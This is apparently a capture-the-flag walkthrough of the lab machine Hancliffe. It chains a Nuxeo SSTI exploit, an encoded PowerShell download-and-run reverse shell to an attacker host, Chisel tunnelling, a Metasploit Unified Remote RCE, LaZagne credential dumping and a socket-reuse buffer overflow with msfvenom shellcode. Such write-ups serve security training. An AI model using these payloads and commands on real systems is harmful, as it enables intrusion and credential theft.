Skip to content

Hancliffe

Enumeration

  • There is an Nginx instance running on port 80 displaying the default Nginx welcome page.
  • Port 8000 is serving a HashPass instance. This is a self-hosted password manager that generates passwords without storing them. It does so by requesting a name, website and a master password. There is no random seed in the hashing algorithm, thus the same inputs will yield the same password every time.
  • Port 9999 identifies as "Brankas Application". The instance is available through netcat and accepts a username and a password.
  • Ran FFuF in directory mode on the website hosted on port 80:\ $ ffuf -w ~/tools/wordlists/raft-medium-directories.txt -u http://10.10.11.115/FUZZ
    • Discovered /maintenance. This actually redirects to /nuxeo/maintenance:
      1
      2
      3
      4
      5
      6
      7
      $ curl -Li http://10.10.11.115/maintenance
      ...
      Location: /nuxeo/Maintenance/
      
      HTTP/1.1 404 Not Found
      Server: nginx/1.21.0
      ...
      
  • Running FFuF on the /maintenance subdirectory revealed several interesting hits:
    1
    2
    3
    4
    5
    6
    7
     $ ffuf -w ~/tools/wordlists/raft-medium-files.txt -u http://10.10.11.115/maintenance/FUZZ
     ...
    .                       [Status: 200, Size: 714, Words: 116, Lines: 18, Duration: 127ms]
    index.jsp               [Status: 200, Size: 714, Words: 116, Lines: 18, Duration: 92ms]
    feedback.xhtml          [Status: 401, Size: 220, Words: 13, Lines: 4, Duration: 2477ms]
    .xhtml                  [Status: 401, Size: 220, Words: 13, Lines: 4, Duration: 38ms]
    ...
    
  • Visiting /maintenance/index reveals a 404 page coming from Nuxeo. Nuxeo is written in Java, and the fact that the response also sets a JSESSIONID cookie suggests this is a Tomcat server running behind an Nginx proxy.

Foothold

  • This setup is vulnerable (Orange Tsai - Breaking Parser Logic) in which a request to something like http://10.10.11.115/maintenance/..;/index.jsp, which may be blocked by Nginx, gets passed to the Tomcat backend as http://10.10.11.115/index.jsp.
  • http://10.10.11.115/maintenance/..;/index.jsp redirects to http://10.10.11.115/nuxeo/nxstartup.faces
    • This results in a 404, but the response Set-Cookie: JSESSIONID=.. header also includes a Path=/nuxeo
  • http://10.10.11.115/maintenance/..;/login.jsp returns a login page for Nuxeo.
  • There is a SSTI vulnerability in Nuxeo (CVE-2018-16341). The format for SSTI in Java is found at https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#java
  • Retrieving http://10.10.11.115/maintenance/..;/login.jsp/test$%7B7*7%7D.xhtml returned the error ERROR: facelet not found at '/login.jsp/test49.xhtml', confirming SSTI.
  • Attempts with more advanced SSTI payloads to get LFI resulted in error 500, but there are other SSTI payloads for EL (Expression Language) that work with Java: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#expression-language-el
  • Injected the following payload: ${''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(''.getClass().forName('java.lang.Runtime')).exec('whoami')}\ URL encoded this becomes: http://10.10.11.115/maintenance/..;/login.jsp/test%24%7b%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%2e%67%65%74%4d%65%74%68%6f%64%73%28%29%5b%36%5d%2e%69%6e%76%6f%6b%65%28%27%27%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%27%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%27%29%29%2e%65%78%65%63%28%27%77%68%6f%61%6d%69%27%29%7d.xhtml
  • This results in an error (ERROR: facelet not found at '/login.jsp/testjava.lang.ProcessImpl@39fdc436.xhtml'), but replacing whoami with ping and monitoring for ICMP requests confirms RCE:
    1
    2
    3
    4
    5
    6
    7
    $ sudo tcpdump -i tun0 icmp -n
    tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
    listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
    21:58:55.564517 IP 10.10.11.115 > 10.10.16.7: ICMP echo request, id 1, seq 2, length 40
    21:58:55.564580 IP 10.10.16.7 > 10.10.11.115: ICMP echo reply, id 1, seq 2, length 40
    21:58:56.562427 IP 10.10.11.115 > 10.10.16.7: ICMP echo request, id 1, seq 3, length 40
    21:58:56.562443 IP 10.10.16.7 > 10.10.11.115: ICMP echo reply, id 1, seq 3, length 40
    
  • Uploaded ConPtyShell to the host:
    • Stood up a Python HTTP server and a netcat listener
    • Encoded the payload in 16 byte base64 (the iconv -t utf16le is essential to getting PowerShell to decode the base64):
      $ echo 'IEX(IWR http://10.10.16.7:8000/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.16.7 9001'| iconv -t utf16le |base64 -w 0
      SQBFAFgAKABJAFcAUgAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4ANwA6ADgAMAAwADAALwBJAG4AdgBvAGsAZQAtAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApADsAIABJAG4AdgBvAGsAZQAtAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgADEAMAAuADEAMAAuADEANgAuADcAIAA5ADAAMAAxAAoA
      
    • Inserted the encoded payload into the exploit above:
      ${"".getClass().forName("java.lang.Runtime").getMethods()[6].invoke("".getClass().forName("java.lang.Runtime")).exec("powershell -enc SQBFAFgAKABJAFcAUgAgAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA2AC4ANwA6ADgAMAAwADAALwBJAG4AdgBvAGsAZQAtAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAHAAcwAxACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwApADsAIABJAG4AdgBvAGsAZQAtAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgADEAMAAuADEAMAAuADEANgAuADcAIAA5ADAAMAAxAAoA")}.xhtml
      
    • URL encoded and submitted as the following URL:
      http://10.10.11.115/maintenance/..;/login.jsp/test%24%7b%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%22%29%2e%67%65%74%4d%65%74%68%6f%64%73%28%29%5b%36%5d%2e%69%6e%76%6f%6b%65%28%22%22%2e%67%65%74%43%6c%61%73%73%28%29%2e%66%6f%72%4e%61%6d%65%28%22%6a%61%76%61%2e%6c%61%6e%67%2e%52%75%6e%74%69%6d%65%22%29%29%2e%65%78%65%63%28%22%70%6f%77%65%72%73%68%65%6c%6c%20%2d%65%6e%63%20%53%51%42%46%41%46%67%41%4b%41%42%4a%41%46%63%41%55%67%41%67%41%47%67%41%64%41%42%30%41%48%41%41%4f%67%41%76%41%43%38%41%4d%51%41%77%41%43%34%41%4d%51%41%77%41%43%34%41%4d%51%41%32%41%43%34%41%4e%77%41%36%41%44%67%41%4d%41%41%77%41%44%41%41%4c%77%42%4a%41%47%34%41%64%67%42%76%41%47%73%41%5a%51%41%74%41%45%4d%41%62%77%42%75%41%46%41%41%64%41%42%35%41%46%4d%41%61%41%42%6c%41%47%77%41%62%41%41%75%41%48%41%41%63%77%41%78%41%43%41%41%4c%51%42%56%41%48%4d%41%5a%51%42%43%41%47%45%41%63%77%42%70%41%47%4d%41%55%41%42%68%41%48%49%41%63%77%42%70%41%47%34%41%5a%77%41%70%41%44%73%41%49%41%42%4a%41%47%34%41%64%67%42%76%41%47%73%41%5a%51%41%74%41%45%4d%41%62%77%42%75%41%46%41%41%64%41%42%35%41%46%4d%41%61%41%42%6c%41%47%77%41%62%41%41%67%41%44%45%41%4d%41%41%75%41%44%45%41%4d%41%41%75%41%44%45%41%4e%67%41%75%41%44%63%41%49%41%41%35%41%44%41%41%4d%41%41%78%41%41%6f%41%22%29%7d%2exhtml
      
  • Got a reverse shell as hancliffe\svc_account

Privilege Escalation (user)

  • svc_account doesn't have any privileges of interest:
    PS> whoami /priv
    
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name                Description                          State
    ============================= ==================================== ========
    SeShutdownPrivilege           Shut down the system                 Disabled
    SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
    SeUndockPrivilege             Remove computer from docking station Disabled
    SeIncreaseWorkingSetPrivilege Increase a process working set       Disabled
    SeTimeZonePrivilege           Change the time zone                 Disabled
    
  • Enumerated the listening network connections on the box to discover any local services:
    PS> Get-NetTCPConnection -state listen | Select-Object -Property *,@{'Name'= 'ProcessName';'Expression'={(Get-Process -Id $_.OwningProcess).Name}}| format-table -autosize -property localaddress,localport,processname
    
    LocalAddress LocalPort ProcessName
    ------------ --------- -----------
    ::               49668 services
    ::               49667 svchost
    ::               49666 svchost
    ::               49665 wininit
    ::               49664 lsass
    ::               47001 System
    ::                5985 System
    ::                5432 postgres
    ::                 445 System
    ::                 135 svchost
    0.0.0.0          49668 services
    0.0.0.0          49666 svchost
    0.0.0.0          49665 wininit
    0.0.0.0          49664 lsass
    0.0.0.0           9999 svchost
    0.0.0.0           9512 RemoteServerWin
    0.0.0.0           9510 RemoteServerWin
    0.0.0.0           9477 MyFirstApp
    127.0.0.1         9300 java
    127.0.0.1         9200 java
    127.0.0.1         8888 php-cgi
    127.0.0.1         8080 java
    127.0.0.1         8009 java
    127.0.0.1         8005 java
    0.0.0.0           8000 nginx
    0.0.0.0           5432 postgres
    0.0.0.0           5040 svchost
    10.10.11.115       139 System
    0.0.0.0            135 svchost
    0.0.0.0             80 nginx
    
  • RemoteServerWin belongs to Unified Remote, a remote control application for Windows. Version 3.9.0.2463 is vulnerable to RCE for which a Metasploit module is available (https://www.exploit-db.com/exploits/49587).
  • The Unified Remote services on the host are blocked from external connections by a firewall. To get around this, ports 9510 and 9512 need to be forwarded to the attack box.
  • Used Chisel to set up the port forwarding:
    • Uploaded a standalone version of Chisel to the host
    • Stood up a Chisel server on the attack box:\ $ ./chisel server -p 9090 --reverse
    • Stood up a Chisel client on the host for forwarding the required ports:\ PS> .\chisel.exe client 10.10.16.7:9090 R:9512:127.0.0.1:9512 R:9510:127.0.0.1:9510
    • Loaded the windows/misc/unified_remote_rce module in Metasploit:\
      • RHOST: 127.0.0.1
      • LHOST: 10.10.16.7
      • LPORT: 9002
      • SRVPORT: 9000
  • Executed the module and got a shell as hancliffe\clara. Collected the user flag.

Privilege Escalation (Administrator)

  • Uploaded LaZagne to look for stored passwords on the system
  • Found a password stored in Firefox:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    PS> .\lazagne.exe all
    ########## User: clara ##########
    
    ------------------- Firefox passwords -----------------
    
    [+] Password found !!!
    URL: http://localhost:8000
    Login: hancliffe.htb
    Password: #@H@ncLiff3D3velopm3ntM@st3rK3y*!
    
  • The URL for the password is the password manager discovered above
  • development is the only account besides Administrator that hasn't been checked yet. Retrieved the password for it through the password manager with the following settings:

    • Full Name: development
    • Website: hancliffe.htb
    • Master Password: #@H@ncLiff3D3velopm3ntM@st3rK3y*!
  • Got the password AMl.q2DHp?2.C/V0kNFU

  • In order to log in to the box as development using Evil-WinRM, the RM ports (5985 and 5986) on the host need to be forwarded using Chisel. With the server still running as above, started a new client as follows:\ PS> .\chisel.exe client 10.10.16.7:9090 R:5985:127.0.0.1:59 85 R:5986:127.0.0.1:5986
  • Logged in with Evil-WinRM as development

  • As development, C:\DevApp becomes accessible. The directory contains a simple PowerShell script to restart the main program, MyFirstApp.exe. This is a Win32 executable which requires disassembly.
  • Downloaded MyFirstApp.exe using the download command in Evil-WinRM and loaded it in Ghidra.
  • Found the banner message (Welcome Brankas Application) for the custom service running on port 9999 using string search. Followed the reference to the string to find the function responsible for handling input/output:
    ...
    send(SStack20,"Username: ",10,0);
    recv(SStack20,pcStack16,0x400,0);
    _strncpy(acStack50,pcStack16,10);
    _memset(pcStack16,0,0x400);
    send(SStack20,"Password: ",10,0);
    recv(SStack20,pcStack16,0x400,0);
    _strncpy(acStack67,pcStack16,0x11);
    _memset(pcStack16,0,0x400);
    iStack28 = _login(acStack50,acStack67);
    if (iStack28 == 0) {
        send(SStack20,"Username or Password incorrect\r\n",0x21,0);
        closesocket(SStack20);
        ExitThread(0);
    }
        send(SStack20,"Login Successfully!\r\n",0x15,0);
    ...
    
  • Followed the code to the login() function:
    undefined4 __cdecl _login(char *user,void *pass){
        size_t encrypt2_password_len;
        int iVar1;
        char local_39 [17];
        char *encrypt2_password_base64;
        byte *encrypt2_password;
        byte *encrypt2_password_;
        size_t password_len;
        char *encrypt1_password;
        char *password;
        char *username;
    
        username = "alfiansyah";
        password = "YXlYeDtsbD98eDtsWms5SyU=";
        _memmove(local_39,pass,0x11);
        encrypt1_password = _encrypt1(0,local_39);
        password_len = _strlen(encrypt1_password);
        encrypt2_password = (byte *)_encrypt2(encrypt1_password,password_len);
        encrypt2_password_ = encrypt2_password;
        encrypt2_password_len = _strlen((char *)encrypt2_password);
        encrypt2_password_base64 = (char *)_b64_encode(encrypt2_password,encrypt2_password_len);
        iVar1 = _strcmp(username,user);
        if ((iVar1 == 0) && (iVar1 = _strcmp(password,encrypt2_password_base64), iVar1 == 0)) {
            return 1;
        }
        return 0;
    }
    
  • The function accepts a username and password, then passes the password input trough two encryption functions, encrypt1 and encrypt2. The output is then compared against YXlYeDtsbD98eDtsWms5SyU=. If there is a match, the login succeeds.
  • Followed encrypt1:
    char * __cdecl _encrypt1(undefined4 param_1,char *input){
        char *_Str;
        size_t len_input;
        uint i;
        char c;
    
        _Str = _strdup(input);
        len_input = _strlen(_Str);
        for (i = 0; i < len_input; i = i + 1) {
            if ((' ' < _Str[i]) && (_Str[i] != '\x7f')) {
                c = (char)(_Str[i] + 0x2f);
                if (_Str[i] + 0x2f < 0x7f) {
                    _Str[i] = c;
                }
                else {
                    _Str[i] = c + -0x5e;
                }
            }
        }
        return _Str;
    }
    
  • The main logic here is the for loop that loops over the input, and adding 0x2f (47) to everything. The rest of the loop handles rollover and bad characters. In essence, this is therefore a ROT47 encoding.
  • Analyzed encrypt2:
    char * __cdecl _encrypt2(char *input,int len){
        bool bVar1;
        char *_input;
        byte c;
        int i;
    
        _input = _strdup(input);
        for (i = 0; i < len; i = i + 1) {
            c = input[i];
            if ((c < 'A') || ((('Z' < c && (c < 'a')) || ('z' < c)))) {
                _input[i] = c;
            }
            else {
                bVar1 = c < 0x5b;   // test if c < 0x5b (uppercase letter)
                if (bVar1) {        // if true
                    c = c + 0x20;   // add 32 (convert to lowercase)
                }
                _input[i] = 'z' - (c + 0x9f);
                // convert back to uppercase
                if (bVar1) {
                    _input[i] = _input[i] + -0x20;
                }
            }
        }
        return _input;
    }
    
  • Again, a for loop loops over the string, excluding any symbols before A and after z. Finally it converts all uppercase letters to lowercase.
  • The line _input[i] = 'z' - (c + 0x9f); is the actual encryption. This line takes the value of the character z and subtracts the sum of the numerical value of the current character and 0x9f (159). Since the 0x9f is actually represented as two's complement and has the negative bit set (0b10011111), the real value is -97 (flip all the bits and add 1). All in all, taking b as an example, the result becomes 'z' - ('b' - 97) = 122 - (98 - 97) = 121 (y). Continuing through the alphabet, c becomes x, d becomes w and so on, essentially inverting the string that's entered. This is a cipher called Atbash.
  • Reversed the steps in the login() function to find the password from YXlYeDtsbD98eDtsWms5SyU=:
    • Reversed the base64 encoding => ayXx;ll?|x;lZk9K%
    • Reversed the Atbash encryption => zbCc;oo?|c;oAp9P%
    • Reversed the ROT47 encryption => K3r4j@@nM4j@pAh!T
  • Logged in to the service on port 9999 (the full name and code were found as clear text in the main function):
    1
    2
    3
    4
    5
    6
    7
    8
    $ nc 10.10.11.115 9999
    Welcome Brankas Application.
    Username: alfiansyah
    Password: K3r4j@@nM4j@pAh!T
    Login Successfully!
    FullName: Vickry Alfiansyah
    Input Your Code: T3D83CbJkl1299
    Unlocked
    
  • Although the program responds with Unlocked, it doesn't actually do anything.
  • Going back the disassembly, right after the program asks for the code, it calls SaveCreds() to store the credentials:
    1
    2
    3
    4
    5
    6
    send(SStack20,"Input Your Code: ",0x11,0);
    recv(SStack20,pcStack16,0x400,0);
    _memset(pcStack32,0,0x50);
    _strncpy(pcStack32,pcStack16,0x50);
    _SaveCreds(pcStack32,pcStack36);
    iVar1 = _strncmp(pcStack32,"T3D83CbJkl1299",0xe);
    
  • SaveCreds() is simply two calls to strcpy():
    1
    2
    3
    4
    5
    6
    7
    8
    9
    void __cdecl _SaveCreds(char *param_1,char *param_2{
        char local_42 [50];
        char *local_10;
    
        local_10 = (char *)_malloc(100);
        _strcpy(local_10,param_2);
        _strcpy(local_42,param_1);
        return;
    }
    
  • The problem here is strcpy() is an unsafe function that doesn't check for bounds. SaveCreds() only allocates a buffer of 50 bytes and doesn't do any bounds checking. This makes the function vulnerable to a buffer overflow.
  • Downloaded the program to a Windows VM with x32dbg installed in order to test the buffer overflow.
  • Created a test pattern using Metasploit:
    $ msf-pattern_create -l 128
    Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae
    
  • Started the debugger and entered the above pattern when prompted for the code
  • The program crashed with EIP set to 0x41326341. Used msf-pattern_offset to find the offset location in the pattern:
    $ msf-pattern_offset -q 41326341
    [*] Exact match at offset 66
    
  • Created a new code string of 66 A's, four B's and some C's:
    $ python -c 'print("A"*66+"BBBB"+"CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC")'
    AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
    
  • Upon crashing, EIP is set to 0x42424242 (all B's). The contents of the memory (right click ESP -> Follow in Dump) reveal that following the 66 bytes worth of A's and four bytes of B's, there are only ten C's. Ten bytes is too small for any shellcode to fit, but it's enough to place a jump instruction to go back to the start of the A's.
  • The solution is to employ a socket reuse technique and placing the exploit in a dedicated Python script (exploit.py).
  • The initial payload consists of 66 bytes worth of A's, then a jmp $ESP and finally a jump 70 bytes back so that execution resumes at the start of the A's (the jmp $ESP instruction is four bytes, so jumping 66 + 4 bytes back puts execution at the start of the A's).
    • Due to ASLR, knowing the location of ESP in memory is impossible in advance. For JMP $ESP instruction to work, a ROP gadget has to be used. This is the address of a JMP $ESP instruction from somwhere in the program that will act as if it was an actual instruction after the string of A's.
  • Finally, by replacing the A's in the padding with \xCC (interrupt), the program can be halted right when execution contiues at $ESP - 70.
  • The payload then becomes:
    1
    2
    3
    pattern = b'\xCC'*66        # Padding
    pattern += p32(0x719023A8)  # Address of a JMP $ESP ROP gadget
    pattern += b'\xeb\xb8'      # JMP $-70 
    
  • Testing on the Windows box with DEP disabled gives the expected jump back to $ESP - 70. In the memory dump, EIP points to the beginning of the padding in the pattern.
  • The next step is to do the actual socket reuse. 66 bytes is still to little to fit a minimal 300 bytes of shellcode, so the idea is to gain more room for the shellcode by calling recv() to read more data from the socket (in practice, read the contents of FullName).
  • The recv() call can be found in the same way as JMP $ESP above. There are multiple calls to recv() in the program, but the one of interest is the one that's used to receive FullName Setting a breakpoint on the actual call eax instruction reveals the stack layout in x32dbg:
    1
    2
    3
    4
    1: [esp] 00000118 00000118
    2: [esp+4] 00D23930 00D23930
    3: [esp+8] 00000400 00000400
    4: [esp+C] 00000000 00000000
    
  • The signature for the call is as follows:
    1
    2
    3
    4
    5
    6
    int recv(
        [in]  SOCKET s,     // [esp]
        [out] char   *buf,  // [esp+4]
        [in]  int    len,   // [esp+8]
        [in]  int    flags  // [esp+C]
    );
    
  • The socket handle ([esp]) is needed. After the jump back to $ESP - 70, the address of the handle can be found in the stack dump at a distance of 0x48 (72) bytes.
  • To carry out the socket reuse, EAX needs to be popped off the stack, its address incremented by 0x48 and then it needs to be pushed back onto the stack. When the call is ready, a call eax instruction will call the recv() instruction at $EAX.
  • In Assembly, this becomes:
    1
    2
    3
    4
    5
    push esp                ; \x54
    pop eax                 ; \x58
    add ax, 0x48            ; \x66\x05\x48\x00
    push eax                ; \x50
    mov esi, dword [eax]    ; \x8b\x30
    
  • The issue is the null byte on line 3. Circumvented the issue by adding 0x150, then subtracting 0x108:
    1
    2
    3
    4
    5
    6
    push esp                ; \x54
    pop eax                 ; \x58
    add ax, 0x150           ; \x66\x05\x50\x01
    sub ax, 0x108           ; \x66\x2d\x08\x01
    push eax                ; \x50
    mov esi, dword [eax]    ; \x8b\x30
    
  • At the moment, ESP is still at the end of the \xCC padding bytes. To avoid running into an issue when allocating 400 bytes for the recieve where ESP grows and overwrites EIP, more space needs to be allocated. This can either be done by moving ESP further down, or move it past the current location of EIP. Moving ESP 100 bytes, 53 bytes past EIP:
    sub esp, 0x64           ; \x83\xec\x64
    
  • The final stage is to push the arguements to recv() onto the stack in the correct order. First are the arguments. These are set to zero, but pushing a zero isn't possible. Using an xor ebx, ebx instruction instead:
    xor ebx, ebx            ; \x31\xdb
    push ebx                ; \x53
    
  • The next argument is the buffer size. Again, pushing 0x400 isn't possible due to a null byte, but a size of 0x404 works:
    1
    2
    3
    add bx, 0x404           ; \x66\x81\xc3\x04\x04
    push ebx                ; \x53
    push esp                ; \x54
    
    • The last instruction is for pushing the current value of ESP onto the stack.
  • Next, 0x64 (100) bytes are added to EBX and pushed onto the stack. This will be the location for the recv() output buffer:
    1
    2
    3
    pop   ebx               ; \x5b
    add   ebx, 0x64         ; \x83\xc3\x64
    push  ebx               ; \x53
    
  • Finally, the last item needed is the address of the recv() function in memory. This address can be found from Ghidra by searching for recv. Since this is an external function, the only reference to it in Ghidra is a pointer to an external function:
                            **************************************************************
                            *                POINTER to EXTERNAL FUNCTION                *
                            **************************************************************
                            int __stdcall recv(SOCKET s, char * buf, int len, int fl...
            int               EAX:4          <RETURN>
            SOCKET            Stack[0x4]:4   s
            char *            Stack[0x8]:4   buf
            int               Stack[0xc]:4   len
            int               Stack[0x10]:4  flags
                            160  recv  <<not bound>>
                            .idata$5                                        XREF[4]:     71901b37(R), 71901bbb(R), 
                            __imp__recv@16                                               71901ca4(R), 71901d74(R)  
    719082ac b8 86 00 00     addr       WS2_32.DLL::recv
    
  • From the above, the address is 0x719082ac. Set up the function call:
    mov eax, [0x719082ac]   ; \xa1\xac\x82\x90\x71
    call eax                ; \xff\xd0
    
  • This can all be combined by using pwnlib in a Python script. The exploit is weaponized by creating a reverse shell payload with msvenom: $ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.16.7 LPORT=9003 EXITFUNC=thread -f py -b '\x00'
  • Added the shellcode output as a new line to send afer the code:
    1
    2
    3
    4
    conn.sendlineafter(b'FullName: ', b'test test')
    conn.sendlineafter(b'Input Your Code', pattern)
    sleep(1)
    conn.sendline(buf)
    
  • Stood up a netcat listener and executed the exploit. Got a call back as hancliffe/Administrator and the root flag.